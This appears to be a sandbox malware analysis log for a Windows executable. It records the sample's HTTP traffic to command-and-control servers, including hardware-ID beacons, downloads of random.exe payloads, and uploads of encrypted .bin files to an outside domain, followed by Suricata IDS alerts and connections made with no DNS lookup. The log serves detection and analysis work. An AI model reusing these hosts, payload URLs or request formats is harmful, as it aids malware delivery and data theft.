Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 35 37 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010573001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentykx20pt.topAccept: /Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------2ih2cDWEUZTDlNLsaHpta1Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 69 68 32 63 44 57 45 55 5a 54 44 6c 4e 4c 73 61 48 70 74 61 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 61 74 65 6d 65 64 65 68 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a e1 31 47 bb 5b 58 c9 c8 47 58 07 ba 81 b0 ff e6 ea 9e 06 63 47 7c 0c 65 aa e2 51 b1 0f 19 ad 1f d4 58 a6 de 8c 82 93 0c a8 55 ef bc b9 35 e3 bb 9b e9 b7 7a 6c e5 82 44 bd 18 d8 99 f7 a5 7a 27 15 db 95 45 76 bd ca c7 90 d5 1b 60 38 89 d4 1a 76 9e 1b 0f d1 55 08 46 c0 53 89 8f 93 a2 5e 4c 58 61 10 e1 4b 5d b4 b4 a1 a8 4a 1f 1e 22 96 55 e8 b6 bc 17 04 04 99 a1 99 69 b5 dc 31 a0 26 b7 a8 62 00 ea 0c db 43 b8 98 a9 c1 e3 8b fe 29 da 24 cb 54 fa 3e cd 96 9f 23 ca 04 6c ff 9e 30 68 e2 16 35 d7 e4 d8 16 6f 56 bf 98 3f f6 36 fd 69 93 bf 06 82 91 dd 04 dc eb 9a 1e 6b ca fc c5 62 41 d0 6a 0b 86 b3 01 ce f1 85 06 ae 14 57 dd 8d 16 db 54 f6 71 56 73 3d 0d 87 9b d1 c7 37 3e 41 e1 ba 44 90 35 c8 2d 3c 86 3f 9d ce 17 7d 38 75 90 02 92 94 24 33 6e d3 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 69 68 32 63 44 57 45 55 5a 54 44 6c 4e 4c 73 61 48 70 74 61 31 2d 2d 0d 0a Data Ascii: --------------------------2ih2cDWEUZTDlNLsaHpta1Content-Disposition: form-data; name="file"; filename="Batemedeh.bin"Content-Type: application/octet-stream1G[XGXcG\|eQXU5zlDz'Ev`8vUFS^LXaK]J"Ui1&bC)$T>#l0h5oV?6ikbAjWTqVs=7>AD5-<?}8u$3n--------------------------2ih2cDWEUZTDlNLsaHpta1--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentykx20pt.topAccept: /Content-Length: 67371Content-Type: multipart/form-data; boundary=------------------------2LqamfYqVitMWEi2kOOnTMData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 4c 71 61 6d 66 59 71 56 69 74 4d 57 45 69 32 6b 4f 4f 6e 54 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 69 79 65 74 65 73 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 60 9f 7a ce c7 54 45 af 98 c4 b3 cc 60 8d 80 ee ef b3 91 41 44 a7 27 b7 b3 04 4b 7b 70 c1 25 fe 89 b5 e5 4d 56 7e 9c 34 72 0e c0 b6 29 34 dd 40 79 92 80 03 6d 28 bf d3 a9 34 c9 5c bb ca a9 69 d1 f0 40 25 c0 a6 a0 3b 7c 50 47 2f cd 70 3f dd 68 1d f9 69 c0 11 88 48 1f 1b aa a9 72 06 03 fe 28 61 77 79 59 bd ad 94 f3 b4 a3 26 26 65 63 73 f3 b8 2c 27 e9 13 3a db c7 62 b1 b6 4f a3 39 55 d2 c6 80 86 cb 70 7e 4a 60 72 42 97 fb 09 c9 24 6d 31 3b 21 fd e4 52 46 dc 02 28 29 a3 07 74 18 09 79 8b 53 23 da 3b e1 ee 06 a4 3f 7f 31 40 59 0d 28 36 d1 d3 58 bc b5 b6 b3 3c 3a 41 a0 e9 c3 30 d5 72 ba 72 8b 58 d0 bc 42 dc c9 0e e5 f2 95 d1 9e 54 70 fe fb a2 aa 8a 50 eb 1a 07 cc fa 1b 68 ee 6b 82 23 5a 1e 47 0b c3 15 9a 19 98 97 f1 95 62 cf 25 29 bc 1c ae 47 45 fb 95 fd 43 4d 34 b1 fc 02 7c 32 fe 85 f6 69 76 93 2e d0 1a 63 07 cc 6f c9 ce 18 a1 bb cf e9 02 94 79 93 13 ed b1 df 7b cb b3 51 35 cc b0 6c 03 d5 07 64 28 26 45 61 8e b5 de 36 09 23 0c 0d cc 18 66 af fb 12 38 f6 e4 dc 5f 7c aa 86 c0 02 ca 3e 42 08 8e 17 25 86 2f 2a 93 74 4d 24 d6 e1 b7 05 67 5a ba 77 fa 9f 1b f2 89 87 61 3f 00 c4 d9 9d 83 5b ea f3 73 03 8c 8f 52 14 73 ac 25 b0 98 1b cf e6 34 43 4f 90 84 29 45 43 a4 db d1 f8 e8 b6 32 b3 02 83 bc 1b ac fc d0 92 40 3c 91 e3 ff 97 3c 41 95 cd b6 03 76 68 88 68 dc 94 d3 28 20 2e 67 b5 8b c7 90 f4 48 66 52 f7 ca f9 0d b7 37 ac 4b 67 00 65 55 1b 26 df dd 19 6c ff 6e 01 f0 0d 41 ee 61 26 be b1 1d 3d 4b 13 b4 82 bd 5e 26 53 ac e4 f4 1d b7 86 a7 b8 6f 9c eb 1f d0 fa 2f 3f 64 e5 05 7b aa 28 8d 4d d4 a0 76 fd 87 29 3b a2 06 8b d2 4b a8 62 1d 37 ad 70 be 29 db 36 66 1b 78 b5 71 f4 2b d4 6a 1d c3 f9 f6 fc fd 6a 8f 30 40 7b da 28 e6 b0 66 1a 22 90 f8 a6 cf fe 0d f0 db de 7a 84 b1 02 e7 dc 9a 96 bf d3 3a 65 16 42 80 5e 27 34 13 8a bf 08 3b e5 21 b3 21 6f 10 f7 57 41 ab 7d 15 7a dd d4 47 2a ee 5c d5 2f 79 4a 4a 48 e0 44 aa 8f 8b ff 8e 87 63 e5 f0 fc 3d 60 31 ae 81 81 74 25 62 59 83 79 ac f8 16 d8 fb 6f dc da d3 ef 56 5c f7 02 75 42 35 1c 36 0d fd 43 f4 4b 7c 89 27 73 48 66 d7 e5 a3 c2 9a e0 9a 51 d2 cb c5 c1 07 71 74 f1 ee 91 9c 73 a9 74 2a ad 51 29 a0 dd e6 f2 03 5d 7c 37 70 dc 6f 34 cc 22 12 82 e8 7b a1 e4 d8 8b cd 33 d2 72 8e f2 59 b2 b4 ec 4e d5 44 c5 81 80 ee 06 c7 d9 98 97 96 cc d2 3c 39 ae 4f 93 95 b4 f5 2d 14 8b 18 1e 12 b8 d8 b5 c0 33 88 64 fe 21 83 55 32 c8 ca f4 49 03 97 f7 28 ec 6c ec e2 86 f8 28 2b a7
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 35 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010574001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFIDBFHDBGIDHJJEGHIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 33 35 44 38 30 44 31 41 33 45 34 32 35 35 38 33 30 34 33 38 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 2d 2d 0d 0a Data Ascii: ------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="hwid"C535D80D1A3E4255830438------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="build"drum------FBFIDBFHDBGIDHJJEGHI--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentykx20pt.topAccept: /Content-Length: 21208Content-Type: multipart/form-data; boundary=------------------------AbQzgktFVij3bw2LmAqG7zData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 41 62 51 7a 67 6b 74 46 56 69 6a 33 62 77 32 4c 6d 41 71 47 37 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 58 65 6d 61 78 61 67 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a cb ca 64 57 7c a3 1b 8d e9 cc 7b 91 38 25 40 d3 78 dd f3 72 ad 5b 74 bc c3 7c 19 64 4d 45 27 e5 5e 91 56 05 52 e5 6a eb 79 e7 0c 26 44 46 e4 ac 2e 3e ac 2f 40 5c 77 43 3d e5 91 e3 81 11 d1 1d 8c 1f 34 78 8a 9a b5 1d 3a 1e 1c 28 39 65 27 96 15 cd 45 9a b1 bc b4 1f 2f 66 42 f6 95 fc 74 c5 d0 b9 d4 85 ec 50 4f c6 ba c6 83 32 20 31 cc 99 33 df 28 75 44 2d 88 00 eb 2a 21 da 1e 1f 0e 14 c8 98 78 26 82 cf c7 03 40 71 af 96 79 09 a5 8e ae 46 59 7e ff a7 d0 4b e4 46 3a f9 b0 6a 68 8f 7e b0 21 09 32 37 79 f7 4a de 33 d9 a8 27 01 e3 de 0c 91 a8 4e bf 81 5d 47 3d a1 7b 10 6b 9b 5c 81 a5 59 87 23 dc 90 c4 45 51 f8 c1 95 f3 a5 bb ae 9c dd c2 c6 b8 5a be ef 90 c5 b7 d8 51 d2 d2 51 a6 56 27 d0 40 c1 a4 5f f3 ea 2e c1 e6 c7 68 d6 de c9 4e 15 82 13 8f e8 f9 84 c0 45 ea f8 b6 38 2e f7 36 28 1d 06 8d 11 92 cb 30 cf 38 3e a7 8d 06 e3 2e c8 f4 ca 8a d3 47 0e bc 35 2e 9e fd 77 94 2e a6 60 ad 2f 7d 7e f0 df 66 23 52 48 e4 97 89 54 54 da 91 45 6c d6 74 4d 35 af 25 e6 0c 50 34 14 d6 59 b4 21 71 39 2f 7d f9 43 fa 8e b5 1a 14 81 2e e6 6c fe 0a 1d ae eb 3f 46 77 36 28 c6 62 76 45 66 22 35 fa 3c 24 30 58 97 7c 68 53 66 d0 1f b0 a9 ec d8 80 47 64 52 24 9d fa e7 e9 65 b9 0b 66 4d 44 ee 9a e9 c8 7a f3 49 93 a2 8b 2c c2 cd 5f 27 2b 11 a3 56 06 8f 55 ea 03 78 95 da 69 9e ed e2 d5 f1 72 6e 42 bc 25 3e 8e 81 b8 43 cb c3 c9 08 a6 3a b8 55 b7 04 40 bc 15 a8 59 a3 da e0 d4 6a f3 88 02 59 97 89 f0 86 5d c9 5f dd 73 27 45 d7 9d db 01 01 23 94 6d f0 62 40 a8 30 0f fc 56 2d 61 18 6b 1c e5 95 db 7e 4f 8d ec ff b2 a5 e7 2f f9 77 e3 60 23 f1 b3 dd 7a 21 5c 3b e9 96 e7 98 3a 72 9b 99 81 35 5d 00 fa 05 0a be 3b 2c 81 d7 9c cf 96 93 ac b3 ff 3c 47 3e ce e0 26 b7 2e 91 00 be a6 82 68 3c e0 a2 28 85 d8 e8 79 e5 46 cb 0f 0a 33 1b b0 b1 93 0e 10 e4 f4 c5 3e b7 d0 8f aa 43 16 26 52 a0 f3 af 74 6a e2 1f aa 6e b4 d9 d5 f0 10 a6 37 9d 35 a3 c3 d7 0a 5f 6d a3 73 2e 8d 94 e7 67 30 79 2b 50 fa dc 2d 68 f6 0f 15 e3 a5 d4 04 b0 c0 96 4f 95 41 79 0a 44 1c 88 3f 0d 82 12 91 af 6d a7 a7 0c 4d 6d a0 19 93 d8 97 a8 07 1d d2 aa 72 29 50 11 82 a2 26 43 7d 75 02 ee a7 36 b8 a9 92 ea 8c 78 f0 23 9b 3a 86 f9 e3 f0 51 4b 51 7c d9 cc 30 3e 77 4e ed 4a e8 36 85 e4 b4 5f 09 f9 e4 51 db 68 cc 02 7b f9 4a 1b 8a 39 c7 47 8c 4f 09 be e8 2b 34 11 59 60 9f 0f f9 62 83 d5 3f ce b7 ae ee a9 2c 2a fb 1e 3c 37 1c be 64 3e b8 61 4f 23 22 ed 7c 20 24 5e c6 e1 17 0f a6
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 35 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010575001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /bugEWhhZIPIipxajeFfO1732855736 HTTP/1.1Host: home.twentykx20pt.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 77 4a 36 79 32 52 36 38 33 39 44 36 57 65 47 4d 31 37 33 32 39 35 36 33 32 35 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "wJ6y2R6839D6WeGM1732956325", "data": "Done2" }
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHJJEHIEBKKFIDHDGHJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 4a 4a 45 48 49 45 42 4b 4b 46 49 44 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 33 35 44 38 30 44 31 41 33 45 34 32 35 35 38 33 30 34 33 38 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 4a 4a 45 48 49 45 42 4b 4b 46 49 44 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 4a 4a 45 48 49 45 42 4b 4b 46 49 44 48 44 47 48 4a 2d 2d 0d 0a Data Ascii: ------AFHJJEHIEBKKFIDHDGHJContent-Disposition: form-data; name="hwid"C535D80D1A3E4255830438------AFHJJEHIEBKKFIDHDGHJContent-Disposition: form-data; name="build"drum------AFHJJEHIEBKKFIDHDGHJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 35 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010576001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 36 32 45 37 38 42 32 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB62E78B25082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 36 32 45 37 38 42 32 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB62E78B25082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJEGCBGIDHCAKEBGIIDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 33 35 44 38 30 44 31 41 33 45 34 32 35 35 38 33 30 34 33 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 2d 2d 0d 0a Data Ascii: ------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="hwid"C535D80D1A3E4255830438------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="build"drum------JJEGCBGIDHCAKEBGIIDB--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49749 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49759 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49790 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49823 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49846 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49874 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49888 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49898 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49895 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49903 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49924 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49927 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49912 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49942 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49943 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49951 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49947 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50010 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50039 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50045 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49960 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

